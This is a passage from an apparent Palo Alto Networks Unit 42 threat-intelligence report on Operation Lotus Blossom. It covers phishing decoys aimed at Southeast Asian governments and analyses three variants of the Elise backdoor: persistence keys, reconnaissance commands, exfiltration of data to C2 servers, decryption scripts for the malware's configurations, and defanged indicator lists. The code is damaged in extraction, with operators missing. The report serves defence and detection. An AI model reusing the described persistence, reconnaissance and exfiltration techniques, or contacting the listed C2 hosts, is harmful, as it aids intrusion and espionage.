The requested email address accepting RSVPs also seems just slightly suspicious, and they helpfully instructed the recipients to forward the invitation, if they were unable to attend.
Two of the decoys contained one or more images of attractive Asian women taken from the Internet, one of which (shown in Figure 8) was used multiple times.
The final decoy contained a Merry Christmas image with broken English text.
FIGURE 7 Fake invitation to an event commemorating the Kon-Tiki voyage.
FIGURE 8 Photo of Hong Thy Linh, a Vietnamese actress and singer.
FIGURE 9 A Merry Christmas image with broken English text.
P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 9 The second group of attacks also used decoy documents written in Vietnamese.
One document purported to be a contact roster and contains the names and Vietnamese webmail email addresses for multiple high-level Vietnamese officials.
The first page of the second decoy is shown below (Figure 10) and claims to be an IT upgrade plan for 2015 for the Vietnamese government.
The final sample also appears to be related to an IT upgrade plan, with implementation dates and responsible individuals (Figure 11.)
FIGURE 10 Claims to be an IT upgrade plan for 2015 for the Vietnamese government.
FIGURE 11 Also appears to be related to an IT upgrade plan, with implementation dates and responsible individuals.
P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 1 0 Philippines The Lotus Blossom operation has targeted the Philippine government, with a particular focus on the military, since at least 2013.
We identified six unique Elise droppers, each with its own decoy document and content.
These samples all had overlapping command and control infrastructure (Figure 12).
All six decoy documents were related to the Philippine military or government, primarily claiming to contain contact information for high-level officers and officials.
We are not including images, as it is possible the information is legitimate, but the subject lines with brief descriptions are included in Table 1 below.
FIGURE 12 Connections between Elise samples and C2 servers used in attacks on the Philippines.
Decoy Name Decoy Description DFA GAD Directory Claims to be a directory of personnel in the Philippine Department of Foreign Affairs Gender and Development, including private emails and cellphones.
HADR PLAN 29 May 14 Claims to be the operational humanitarian and disaster response (HADR) plan for the Armed Forces of the Philippines and is stamped Secret.
C,1AD NR 03-0226-313-14 Claims to document a problem logging into an account for a specific real-time aircraft tracking system and appears to be a Philippine Air Force document.
RQST MOUTPIECE LOUD HAILER Claims to be a requisition form for a mouthpiece for a specific hailer for a specific unit.
PN KEYPOSITION with CELL Nrs Claims to be a roster of high-level officers at the Philippine Naval Headquarters and is dated 23 June 2014.
It has birth dates and cellphone number as well as current job roles.
Cellphone Number Claims to be a roster of high-level officers at the Philippine Naval Headquarters and is dated February 2015.
It contains job roles as well as cellphone numbers.
Table 1 Names and descriptions of decoy documents included in attacks on the Philippine government and military.
P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 1 1 In contrast to the Vietnamese targeting, this activity involves a mix of actor-registered and dynamic DNS (DDNS) domains use for C2.
However, the actor-registered domain also used the same initial registrant, paulzzyeah.net, as the final two Vietnamese samples discussed above, and most campaign codes also appear to end with a date.
Also of note, all but two of these samples used campaign codes that started with 340.
The text within three of the campaign codes refers to the decoy contents.
The campaign codes we saw with the Philippines activity are below.
340_typhoon 340-0226 340-dfa-520 340-0528 phone key0730 Taiwan and Hong Kong We uncovered three droppers that targeted Taiwan and one that targeted Hong Kong.
One of these claimed to be a current staff contact list, but when opened, did not contain any information.
As this is the only roster-themed decoy that did not contain any information, it may indicate this was a mistake on the threat actors part.
We were unable to recover decoy documents for the other two.
The sample targeting Hong Kong contains earthquake safety information in long form Chinese, copied from the Internet and widely circulated in multiple languages, since at least 2009.
It has its own entry on Snopes.com evaluating the accuracy of the informationi.
This sample is also an outlier, in that it targeted a science and technology university, in contrast to most of the other targeting that had a government or military focus.
This activity shows the clearest striation (Figure 13), with the cluster on the left using the first two campaign codes below.
310-pyq mm-0807 cyd-zc It is possible this represents two sub-groups targeting Taiwan and Hong Kong with the same malware over the same period of time.
Interestingly, the cluster in the upper left uses some infrastructure used in the Vietnamese activity, as well as a registrant seen in the Philippines activity.
FIGURE 13 Connections between Elise samples and C2 servers used in attacks on Taiwan and Hong Kong.
P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 1 2 Indonesia We identified one Elise dropper carrying a decoy document written in Indonesian that contains information about health foods to avoid the flu, including a picture of a sweet potato.
It appears to have been copied directly from the Internet.
The campaign code used in this attack was 36-SC-0115, as well as the following C2 servers.
122.10.89.84 beckhammer.xicp.net The campaign code and C2s are shown below, and the C2 matches up with one of the Philippine-targeted samples in the previously discussed activity.
In addition, the campaign code format and numbers at the end of the campaign code appear to be a date, which is also similar to the Philippines activity.
Elise Backdoor Analysis Over the course of our research, Unit 42 has identified over 50 samples belonging to the Elise malware family.
Through analysis of these files, we have grouped them into three distinct variants.
Compile timestamps for these samples ranged from June 2012 to March 2015.
The naming of the three Elise malware variants coincides with their original compile timestamps, starting with the oldest.
Please note that these variant labels may not coincide with naming conventions created by the antivirus industry.
While each variant uses distinct mechanisms for infecting the system and remaining persistent between reboots, all three variants share the following common attributes: An encrypted binary configuration data structure containing a list of C2 servers to contact.
A campaign identifier, such as jessica-cpt-app or 370my0216, which identifies the specific malware reporting to the C2 server.
C2 communications using a custom format delivered over HTTP or HTTPS.
Performs basic network reconnaissance upon installation and reports findings to C2 server.
Each variant of Elise contains the functionality to perform the following tasks: Execute commands, DLLs, or executables Write Files Read Files Update Configuration Upload Configuration Data FIGURE 14 Decoy document written in Indonesian, which describes foods that help fend off the flu.
P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 1 3 Variant A The first variant of Elise identified by Unit 42 has a compile date set in mid-2012.
This particular variant has a configuration size of 1480 and the ability to install itself as either a service or executable.
Variant A is delivered via a dropper executable file, which differs from later variants that are typically deployed with a malicious Microsoft Office document.
When executed, the malware will configure itself for deletion upon reboot, using the MoveFileExA function, as seen below.
MoveFileExA(self, 0, MOVEFILE_DELAY_UNTIL_REBOOT) Readers may recall seeing this technique used by the Microsoft Excel shellcode identified in the Vietnam campaign.
The malware proceeds to extract and decrypt an embedded DLL to the following location.
APPDATA\Microsoft\Network\mssrt32.dll The following algorithm is used to encrypt/decrypt the embedded DLL: void decrypt_string(char encrypted, int size) int i if ( encrypted ) for ( i size - 1 i 0 --i ) encrypted[i] encrypted[i - 1] encrypted 0x15 Prior to writing this DLL to disk, the malware will write the encrypted configuration to this DLL.
The following Python code may be used to decrypt this configuration: from ctypes import from struct import import sys fh open(sys.argv[1], rb) fd fh.read() fh.close() cdll.msvcrt.srand(2014) out for x in fd: out chr(ord(x) (cdll.msvcrt.rand() 128)) print repr(out) P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 1 4 The malware proceeds to configure the mssrt32.dll DLL as a service.
This service is configured with properties specified in the malwares configuration.
The following example was identified in one of the samples analyzed.
This service is then manually started using a call to the StartServiceA function.
Should the installation of this newly created service fail, the malware will instead write an executable to the following location: APPDATA\Microsoft\Network\svchost.exe The name of this executable is specified within the malwares configuration data.
This file is embedded and dropped in the same manner the mssrt32.dll file was previously.
Persistence for this executable is set via the following registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchost : APPDATA\Microsoft\Network\svchost.exe Finally, this executable is run via a call to the ShellExecuteW function.
This dropped DLL or executable contains the actual Elise malware.
When run, it will begin by deleting the following file should it exist: TEMP\000ELISEA350.TMP This file will be used going forward to store any log data generated by Elise.
The malware writes its encrypted configuration to one of the following locations: APPDATA\Microsoft\Network\6B5A4606.CAB APPDATA\Microsoft\Network\6B5A4607.CAB Service Name MSCM Display Name Microsoft Security Compliance Manager Description The service provides centralized security baseline management features, a baseline portfolio, customization capabilities, and security baseline export flexibility to accelerate your organizations ability to efficiently manage the security and compliance process for the most widely used Microsoft technologies.
Image Path SystemRoot\System32\svchost.exe -k MSCM Service DLL APPDATA\Microsoft\Network\mssrt32.dll Service Main ESEntry P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 1 5 The following script can decrypt and parse the CAB file: import sys from struct import from ctypes import def decrypt(data): cdll.msvcrt.srand(2014) out for x in data: out chr(ord(x) (cdll.msvcrt.rand() 128)) return out def parse_config(out): identifier, \ compile_time, \ unknown1, \ sleep_timer, \ unknown_bool, \ campaign, \ c1, c2, c3, c4, c5, \ unknown_bool2, \ unicode_exe_name, \ service_name, \ registry_service_name, \ display_name, \ service_description unpack(40siiib20s50s50s50s50s50sb40s20s20s50 s700s, out[0:1154]) print Config Identifier : s identifier print Compile Time : s compile_time print Unknown DWORD : s unknown1 print Sleep Timer : s sleep_timer print Unknown Bool Value : s unknown_bool print Campaign : s campaign print Command and Control : s c1 print Command and Control : s c2 print Command and Control : s c3 print Command and Control : s c4 print Command and Control : s c5 print Unknown Bool Value 2 : s unknown_bool2 print Service Executable : s unicode_exe_name.replace(\x00,) print Service Name : s service_name print Registry Service Name : s registry_service_name print Service Display Name : s display_name print Service Description : s service_description fh open(sys.argv[1], rb) data fh.read() fh.close() parse_config(decrypt(data)) P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 1 6 The malware proceeds to enter in a loop, where it will attempt to communicate with the specified URLs via HTTP or HTTPS.
It initially sends the following GET request to the C2 servers specified in its configuration: GET /param1/page_param2.html HTTP/1.1 Accept: / User-Agent: Mozilla/4.0 (compatible MSIE 8.0 Win32) Host: C2 Server Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache In the request above, the param1 parameter is determined using the last four octets of the victims MAC address.
For example, if the victims MAC address was 00-11-22-33-44-55-66, this parameter would become 2233445566.
The param2 parameter is randomly generated using the current time as a seed.
This results in a unique request being made every time.
When an initial communication is made to the remote server, the malware will execute the following commands to conduct basic network reconnaissance: net user ipconfig/all net start systeminfo Elise uses a series of cookie values in order to exfiltrate data, as seen below.
FIGURE 15 Elise Variant A POST Request.
P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 1 7 Data contained within these cookies is Base64-encoded.
Once decoded and joined, the data has the following structure.
Variant B The second variant (B) of Elise has compile timestamps dating back to July 2012.
Variant B has a configuration data structure size of 324 bytes.
It is often delivered via a file exploiting a client-side vulnerability, such as CVE-2012-0158.
When originally installed on a victim machine, the client-side exploit shellcode will drop two files an executable file and a DLL.
The executable is then run in a newly spawned process.
This executable file loads the second exported function of the DLL via the functions ordinal value.
This exported function is commonly called either CsOptionsHandle or ESHandle.
When this function is called, this Elise variant will begin by decrypting its 324-byte configuration structure.
The following Python code may be used to decrypt and parse this configuration: import sys from struct import from ctypes import def decrypt(data): cdll.msvcrt.srand(2014) out for x in data: out chr(ord(x) (cdll.msvcrt.rand() 128)) return out def parse_config(out): compile_time, \ unknown1, \ sleep_timer, \ unknown_bool, \ campaign, \ c1, c2, c3, c4, c5, \ unknown_bool2, \ unknown_string unpack(iiib20s50s50s50s50s50sb40s, out) print Compile Time : s compile_time print Unknown DWORD : s unknown1 print Sleep Timer : s sleep_timer print Unknown Bool Value : s unknown_bool print Campaign : s campaign FIGURE 16 Elise Variant A Data Encoding.
P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 1 8 print Command and Control : s c1 print Command and Control : s c2 print Command and Control : s c3 print Command and Control : s c4 print Command and Control : s c5 print Unknown Bool Value 2 : s unknown_bool2 print Unknown Unidoce String : s unknown _string.replace(\ x00,) fh open(sys.argv[1], rb) data fh.read() fh.close() parse_config(decrypt(data)) As we can see, this variant of Elise uses the same encryption/decryption routine for its configuration data as variant A.
The malware proceeds to create one of the following files that will be used to store this configuration data: APPDATA\Microsoft\IMJP8_1\8S3N0PW7.dat APPDATA\\Microsoft\IMJP8_1\26TXNK4F.dat One of the more interesting features of this variant is its ability to detect either a VMware or VirtualPC virtual environment, as we see below.
Should the malware detect it is running within either of these environments, it will not perform any malicious activity going forward.
Otherwise, it proceeds to configure persistence across reboots by setting the following registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\imejp : [self] FIGURE 17 Elise Variant B virtual environment check.
P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 1 9 When initially run, Elise variant B will also execute the following commands on the victim machine: ipconfig/all net start dirC:\progra1 systeminfo These command strings are obfuscated within the malware, using the following algorithm: char decrypt_string(char encrypted, int size) int i char result for ( i 0 i size i ) result encrypted[i] result 0x1Bu return result Exfiltration for variant B uses the same technique used in variant A. Base64-encoded cookie values are used to exfiltrate data, as seen below.
The structure of this base64-decoded data remains the same as well.
The following structure is used in variant B.
FIGURE 18 Elise Variant B POST Request P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 2 0 Variant C The third variant of Elise has its earliest compile timestamp in mid-2013 and has been used in attacks periodically since that time.
This variant has been the most prevalent overall, accounting for roughly 75 percent of all samples identified by Unit 42.
The most recent sample of variant C was compiled in late March of 2015.
Additionally, variant C uses a 336-byte configuration structure.
Similar to variant B, variant C is often delivered via a file exploiting a client-side vulnerability, such as CVE-2012-0158.
This particular variant is delivered as a single DLL with two exported functions Setting and Update When the Setting export is called, the malware will copy itself to the following location: APPDATA\Microsoft\Network\rasphone.dll This new file is then called via the following command: Rundll32.exe APPDATA\Microsoft\Network\rasphone.dll,Update When the Update export is called on rasphone.dll, the malware will begin by checking if a debugger is attached via a call to IsDebuggerPresent().
In the event it is not detected, the malware will then check to ensure the DLL has been loaded by Rundll32.
exe by comparing the current filename against dll32.
rasphone.dll uses a simple string encryption routing.
The following code can decrypt encountered strings: void decrypt_string(char encrypted, int size) int i if ( encrypted ) for ( i size - 1 i 0 --i ) encrypted[i] encrypted[i - 1] encrypted 0xA0 FIGURE 19 Elise Variant B Data Encoding P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 2 1 The malware continues to identify the location of iexplore.exe (PROGRAM FILES\ Internet Explorer\iexplore.exe) and spawn a new instance of this process.
The malware will proceed to inject itself into iexplore.exe.
Finally, the malware will decrypt an embedded DLL located in its resource section (XDATA) and write this DLL to a new section of memory in iexplore.exe.
A configuration blob of 336 bytes is subsequently written to this DLL, and the DLL is loaded into iexplore.exe via a call to LoadLibraryA.
The injected DLL (hereafter referred to as xdata) begins by spawning a new thread where all further actions will be taken.
The malware writes its encrypted configuration to the following location: APPDATA\Microsoft\Network\6B5A4606.CAB The following script can be used to decrypt this CAB file.
import sys from struct import def decrypt(data): str_len len(data) - 1 out while(str_len 0): str_len - 1 if str_len 0: break out chr(ord(data[str_len]) ord(data[str_len-1])) out out chr(ord(data[0]) 0xA0) out return out def parse_config(out): compile_time, \ unknown1, \ sleep_timer, \ unknown_bool, \ campaign, \ c1, c2, c3, c4, c5, c6 unpack(iiib20s50s50s50s50s50s50s, out[0:333]) print Compile Time : s compile_time print Unknown DWORD : s unknown1 print Sleep Timer : s sleep_timer print Unknown Bool Value : s unknown_bool print Campaign : s campaign print Command and Control : s c1 print Command and Control : s c2 print Command and Control : s c3 print Command and Control : s c4 print Command and Control : s c5 print Command and Control : s c6 fh open(sys.argv[1], rb) data fh.read() fh.close() parse_config(decrypt(data)) P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 2 2 Additionally, this CAB file is time stomped to a Create/Modify time of Sunday, November 21, 2010, 10:29:33 UTC.
This malware also writes to a log file located at the following path.
TEMP\00EL225AF.TMP Data in this file is not obfuscated or encrypted in any way.
The malware proceeds to enter in a loop, where it will attempt to communicate with the specified URLs via either HTTP or HTTPS.
The following has been identified about the structure of the binary data submitted via POST requests.
This structure is consistent with all previous Elise variants discussed.
When an initial communication is made to the remote server, the malware will execute the following commands to conduct basic network reconnaissance: net user ipconfig/all net start systeminfo This data is exfiltrated using a POST request, as seen below.
In the above example, the 2320 value in the URI is generated using the victims MAC address.
The 00320511 value in the URI is generated using the current time.
This allows each request to be unique and also identify the victim machine.
FIGURE 20 Elise Variant C Data Encoding.
FIGURE 21 Elise Variant C POST Request.
P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 2 3 Previous Research Multiple research groups have mentioned the Elise backdoor in publicly available reports.
This section highlights some of those to help readers connect this campaign to previously known attacks.
In 2013, Xecure Labs and Academia Sinica published a joint paper, and they delivered a presentation at BlackHat in which they identified Elise as part of a larger group of tools they referred to as the LStudio, ST Group and APT0LSTU.
The research team noted that Elise and other related tools had been used primarily in attacks on Taiwan (Figure 22), but also against the United States, Canada and other nations.
Trend Micro refers to Elise as BKDR_ESILE, making a slight modification to the authors chosen name.
Trend Micro first reported on Elise in their 2013 2H targeted Attack Trends report ii.
Since then, they have referenced that paper in multiple blogs and reports iii iv v. This research indicates that the majority of attacks using Elise also targeted government organizations in the Asia Pacific region.
FireEye refers to Elise as the Page malware, because early versions of the Trojan use the word page in their Command and Control URLs.
FireEye first noted an Elise attack in September 2012, which involved a targeted spear phishing attack against the aviation defense industry vi.
FireEye later noted Elise was delivered in an attack using a lure related to the crash of Malaysian Airlines flight 370 vii.
FIGURE 22 Slide 30 from BlackHat presentation showing Elise target.
P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 2 4 Conclusion Operation Lotus Blossom represents a long-term campaign targeting government and military organizations in several nations of Southeast Asia conducted by a persistent attack group.
We traced the earliest of these attacks to 2012, and the most recent occurred during the course of writing this paper.
In one case, the targeted organization received 20 separate email attacks carrying Elise exploit files over the course of eight weeks.
While we cannot attribute these attacks to those of a specific nation state, the pattern indicates a highly persistent adversary with the ability to develop custom tools, and maintain command and control infrastructure, over a long period of time.
This evidence is consistent with a nation state adversary with a strong interest in the militaries of Southeast Asian nations.
Lotus Blossom may deploy additional tools beyond the Elise backdoor detailed in this report, after the group has achieved a foothold in the network.
Related tools used by the group include those known as LStudio, and Evora.
Unit 42 initially identified the attacks described in this report using Palo Alto Networks AutoFocus platform, which quickly enables analysts to find connections between malware samples analyzed by our WildFire system.
We combined this data with open source intelligence to gather additional samples, which broadened the scope of our analysis.
We have tagged all of these samples, and the infrastructure used in this campaign, within AutoFocus, using the tags Elise and LotusBlossom respectively.
WildFire correctly identifies Elise executables, as well as the exploit files used in Lotus Blossom attacks, as malicious.
We have released IPS signature 14358 in response, which detects command and control traffic generated by Elise.
P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 2 5 Appendix Elise Sample Details SHA256 a28d6d7ac530753bb2ebfe1a9e9bd60269e6d227dec555e538cc36a6decf29f Campaign Code PYQ Command and Control 59.6.2[.
]16 cpcl2006.dyndns-free[.
]com shotacon.dyndns[.
]info petto.mooo[.
]com kid.dyndns[.
]org SHA256 949c9457a6c77e7e7f1519435149183c56eb53f7d74439fb848b5d6d91196a73 Campaign Code PYQ Command and Control 59.6.2[.
]16 cpcl2006.dyndns-free[.
]com shotacon.dyndns[.
]info petto.mooo[.
]com kid.dyndns[.
]org SHA256 712c488950f27e98bc4ebe5b63e5775498236a179cb4576bf021f8e6e6de0df4 Campaign Code MYGHOST Command and Control 50.7.11[.
]10 www3.bkav2010[.
]net SHA256 b9681c178e087140344e6aec2630c61f6a7be92e97ebbe7ce10528f6f0e6028f Campaign Code yxz-tw Command and Control 184.22.44[.
]209 kjd.dyndns[.
]org 202.82.202[.
]228 wsi.dyndns[.
]org cpcl2006.dyndns-free[.
]com SHA256 dc61e089eebf6fa1b3abf637ce105e0d20666aa52d9001f5fd5034815331cd61 Campaign Code 340_typhoon Command and Control beckhammer.xicp[.
]net 122.10.89[.
]84 SHA256 6eae10f0b9a62a26b19897f7ba627f92e93e458034939f55f2001835c0e1f1be Campaign Code llmacau Command and Control 202.82.91[.
]139 218.103.16[.
]153 203.218.138[.
]30 103.246.245[.
]146 P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 2 6 SHA256 8c2cd914de7c125e49019f3826918511150ee4fff8a923da350a99c102b36455 Campaign Code yxz-kjhkjsxy Command and Control 184.22.44[.
]209 kjd.dyndns[.
]org 202.82.202[.
]228 wsi.dyndns[.
]org cpcl2006.dyndns-free[.
]com SHA256 a8e0ab6b19400eccd3c9aceb183fe7626d5bde7bdf9b8ec8825aa17cc3a213a3 Campaign Code 340_typhoon Command and Control beckhammer.xicp[.
]net 122.10.89[.
]84 SHA256 e9971de22a922678fc216e9e3923c7e6b21455ddfbb24eb46e50e1cc7ceacc31 Campaign Code demo Command and Control 122.10.89[.
]84 beckhammer.xicp[.
]net 122.10.89[.
]85 SHA256 0752bbdb0c51a519f17a62dd30a033c224c82168522f2c88949b1a0afc8f9037 Campaign Code 340-0226 Command and Control harryleed.dyndns[.
]org verolalia.dyndns[.
]org jackyson.dyndns[.
]info scristioned.dyndns-web[.
]com 173.231.49[.
]98 SHA256 4780442f3cc8d3e1888aa6cecbb05d0c49a6755964eba7a8a6a36d6d2a0ef881 Campaign Code yxz-tw Command and Control cpcl2006.dyndns-free[.
]com wsi.dyndns[.
]org 202.82.202[.
]228 kjd.dyndns[.
]org 184.22.44[.
]209 SHA256 bae07b0c3e4e96731360dc4faa49c0d4abe4d3705e768393f21661c82dea13f3 Campaign Code Alice_vishipel Command and Control www.serchers[.
]net 142.91.252[.
]130 www.aliancesky[.
]com 58.64.183[.
]92 SHA256 7e386ff64be78af18f8a79d01cb75b0438cbcee4647e0a928100bd52ee56db76 Campaign Code G140509ZA01 Command and Control 46.251.237[.
]59 www.tintuchoahau[.
]com P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 2 7 SHA256 866c698073e4deb66dd83c1ec9567ec03eca9f03775deadb81cc59fdb6cfd446 Campaign Code 310-pyq Command and Control cybertunnel.dyndns[.
]info newshappys.dyndns-blog[.
]com www.imonju[.
]com www.serchers[.
]net 202.82.202[.
]228 SHA256 edb45f03dfd52ab58f163ad2ca48f4bc9c4bcb72ea9181d0e0a1d87859f707a6 Campaign Code 370mymm Command and Control 122.10.89[.
]84 122.10.89[.
]85 SHA256 3d2c6d48425212eabb886c2e7e89249e4aa8cf4ad9ec3dd22cafb4f879683d8b Campaign Code 340-dfa-520 Command and Control phil-gov.gotdns[.
]org scristioned.dyndns-web[.
]com asean-star[.
]com aseansec.dynalias[.
]org 113.10.136[.
]18 SHA256 d9174d6bbcb51d3df186794109cd6b2036f6231cf8733290eadd399bf8137055 Campaign Code 340-0528 Command and Control phil-army.gotdns[.
]org scristioned.dyndns-web[.
]com asean-star[.
]com aseansec.dynalias[.
]org 113.10.136[.
]18 SHA256 30f1f7e848c79212f70794d718d0f3929c24e0f3d28695a7c85a85c77ab7aac9 Campaign Code 310-pyq Command and Control cybertunnel.dyndns[.
]info newshappys.dyndns-blog[.
]com www.imonju[.
]com www.serchers[.
]net 202.82.202[.
]228 SHA256 39dd2381bcd0f47dadf23399254bf1b51a837179e5634328afafe07510f5888a Campaign Code 340-0528 Command and Control phil-army.gotdns[.
]org scristioned.dyndns-web[.
]com asean-star[.
]com aseansec.dynalias[.
]org 113.10.136[.
]18 SHA256 e2181b3d47feb5a321fe3b85b08a0245a1e0824b213e568fa4736d529fd5f8c2 Campaign Code 731 Command and Control usa-moon[.
]net 23.234.63[.
]197 P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 2 8 SHA256 c19d3242d43c71f03f5873231444c12a6a11892dd7f0142ff10479f1f718382d Campaign Code key0730 Command and Control usa-moon[.
]net 23.234.63[.
]197 SHA256 24bb8e48f37cbd71b2195cff4f52ec304a2ed9d60c28d2afd785e6f32639325f Campaign Code bio Command and Control usa-moon[.
]net 23.234.63[.
]197 SHA256 65c901b19e2eec6b8392100c1073253641a95dd542f39c9ca95755e8a2afde14 Campaign Code Alice_Spider Command and Control www.aliancesky[.
]com 58.64.183[.
]92 www.serchers[.
]net 162.211.181[.
]107 SHA256 34943d8718d35a633bafefb6f113b3486945ec7dcd19bde11ca3c29feed44af3 Campaign Code HKDLS Command and Control 101.55.121[.
]47 27.255.64[.
]231 www.iascas[.
]net 59.188.247[.
]32 SHA256 400148084474b709a060b844966cf75301d5f2c2b8ae1048f37f634073ead630 Campaign Code FUCKU Command and Control 101.55.121[.
]47 118.193.212[.
]61 www.seachers[.
]net SHA256 61a66afac2702276f6bba2cfcab58198fced893ad1da27aef228259869f5383f Campaign Code FUCKU Command and Control 101.55.121[.
]47 118.193.212[.
]61 www.seachers[.
]net SHA256 6f039f217d8b3bf6686e298416f084884b9a7ec0ee51f334ecc3f5a2da9145a8 Campaign Code FUCKU Command and Control 101.55.121[.
]47 118.193.212[.
]61 www.seachers[.
]net SHA256 eae4b429b0b732d49750400e70caef579450d0651373440f536de71d6134c173 Campaign Code FUCKU Command and Control 101.55.121[.
]47 118.193.212[.
]61 www.seachers[.
]net P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 2 9 SHA256 8f7c74a9e1d04ff116e785f3234f80119d68ae0334fb6a5498f6d40eee189cf7 Campaign Code HKDLS Command and Control 101.55.121[.
]47 27.255.64[.
]231 www.iascas[.
]net 59.188.247[.
]32 SHA256 a462085549f9a1fdeff81ea8190a1f89351a83cf8f6d01ecb5f238541785d4b3 Campaign Code FUCKU Command and Control 101.55.121[.
]47 118.193.212[.
]61 www.seachers[.
]net SHA256 a8e0ab6b19400eccd3c9aceb183fe7626d5bde7bdf9b8ec8825aa17cc3a213a3 Campaign Code mm-0807 Command and Control www.imonju[.
]net 61.58.31[.
]102 202.77.181[.
]179 SHA256 96356db43d7e9a5c3c4e3f9f7ee9a3dba14ad1c7db7367b7f6d664db4f0ef5d7 Campaign Code jessica-cpt-app Command and Control www.serchers[.
]net www.aliancesky[.
]com 162.211.181[.
]107 58.64.183[.
]92 SHA256 bd78e106f208cbb8ea9e5902d778514f1fc2d15876fca292971c6695541889a3 Campaign Code jessica-cpt-app Command and Control www.serchers[.
]net www.aliancesky[.
]com 162.211.181[.
]107 58.64.183[.
]92 SHA256 96410865d46cda89c7c34c60d485c2378a98acbba7ead5ada90daa02a94ba299 Campaign Code Alice_erpas Command and Control www.boshman09[.
]com www.chris201[.
]net 58.64.183[.
]92 SHA256 a98db2098fe9e3e203bed8318ae1d71e8a7b68f801613be10f3917baad7b49b2 Campaign Code jessica-cpt-app Command and Control www.serchers[.
]net www.aliancesky[.
]com 162.211.181[.
]107 58.64.183[.
]92 P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 3 0 SHA256 233af642b3e22613551e087a7cefcf2a530752da6613efc52da7cb957cb8f0f3 Campaign Code KITY090901 Command and Control 46.251.237[.
]59 www.tintuchoahau[.
]com SHA256 b1e30dd3ad2c3290adad848f7199e03f365ecf484c44c6c7eaf42f6b323cd30b Campaign Code KITY090901 Command and Control 46.251.237[.
]59 www.tintuchoahau[.
]com SHA256 9a226eeae1fc51a2bc2e72b098d5654238d0cc8eae29c0cdaacb49ae9d997d04 Campaign Code QY030610 Command and Control 95.154.195[.
]152 www.vienclp[.
]com SHA256 463c6c6ffb8ecf2df44e294818dd500457807ff126dd658c5fe329c09f43a6e0 Campaign Code KITY01232 Command and Control 95.154.195[.
]152 www.vienclp[.
]com SHA256 3a806f8efa338c871b1338a5db8af4128012559d09b06ab997db50a0f90434b1 Campaign Code KITY01232 Command and Control 95.154.195[.
]152 www.vienclp[.
]com SHA256 8ce0b29202f3df23ce583040e2ffe79af78e0bb375ce65ec37a6ffe7d49b5bb5 Campaign Code QY030610 Command and Control 95.154.195[.
]152 www.vienclp[.
]com SHA256 2551f95845ad83ebc56853442bb75c11517e99fe0196ecb30f80e5b203c9a9ff Campaign Code QY030610 Command and Control 95.154.195[.
]152 www.vienclp[.
]com SHA256 e4a460db653c8df4223ec466a0237943be5de0da92b04a3bf76053fa1401b19e Campaign Code QQQQQ Command and Control boshman09[.
]com chris201[.
]net 58.64.183[.
]92 P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 3 1 SHA256 49bf19bd2381f5c78eb2d00a62e1b377620705dba0fa843fb8c8d26d92ec52e4 Campaign Code 36-SC-0114 Command and Control 103.244.91[.
]16 162.211.181[.
]26 101.55.120[.
]165 beckhammer.xicp[.
]net newinfo32.eicp[.
]net SHA256 9e5c286fcc47c8346267574ea805cde24b04915f5372f03923c0d6a13290e0ea Campaign Code 36-SC-0127 Command and Control www.interhero[.
]net 101.55.120[.
]165 101.55.120[.
]153 www.babysoal[.
]com beckhammer.xicp[.
]net SHA256 0201aaa8eda6dedc6c90381e225620cd33fb7b244f76bf229c3dd43feb9bdeaf Campaign Code Alice_rosey Command and Control 210.209.127[.
]8 www.boshman09[.
]com www.chris201[.
]net 45.64.113[.
]130 SHA256 f0304a1f7d87ac413f43a815088895872be0045a33c5f830b4b392a7ce5b8c46 Campaign Code 340-dfa-1007 Command and Control usa-moon[.
]net aseaneco[.
]org 103.28.46[.
]96 SHA256 fd6302a152b0a2eff84b6ef219db5d79b6039043dfd5799ac9a4a0cced58e8bd Campaign Code 370my0216 Command and Control 113.10.222[.
]157 www.tgecc[.
]org SHA256 00c0e0c14835c08d220ef27ef6324df86880167d416ff7183d7df241ffebc3f8 Campaign Code ooo Command and Control www.boshman09[.
]com www.chris201[.
]net 210.209.79[.
]29 SHA256 0adbf0f6a5c21054e569b2ef68c8c6ae7834a0700672c1f3ec6e50daf49a3a94 Campaign Code oyf Command and Control www.boshman09[.
]com www.chris201[.
]net 210.209.79[.
]29 P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 3 2 SHA256 093e394933c4545ba7019f511961b9a5ab91156cf791f45de074acad03d1a44a Campaign Code Alice_rosey Command and Control 210.209.127[.
]8 www.boshman09[.
]com www.chris201[.
]net 45.64.113[.
]130 SHA256 8e7c198e1eaa5be2d1415be3001c217634ae207b8f912e9a84af6c6016aa467e Campaign Code ooo Command and Control www.boshman09[.
]com www.chris201[.
]net 210.209.79[.
]29 SHA256 97d6699e449ddad97cc33e380a4873a7ceb0e8f0f50b5c8f72e6a4ff3dd1009f Campaign Code phone Command and Control usa-moon[.
]net aseaneco[.
]org 103.252.19[.
]13 SHA256 b53f98c113e7f72ff5170dcdb2ab2b1c15a02aadb72b2d2710d899aea9b875bd Campaign Code phone Command and Control usa-moon[.
]net aseaneco[.
]org 103.252.19[.
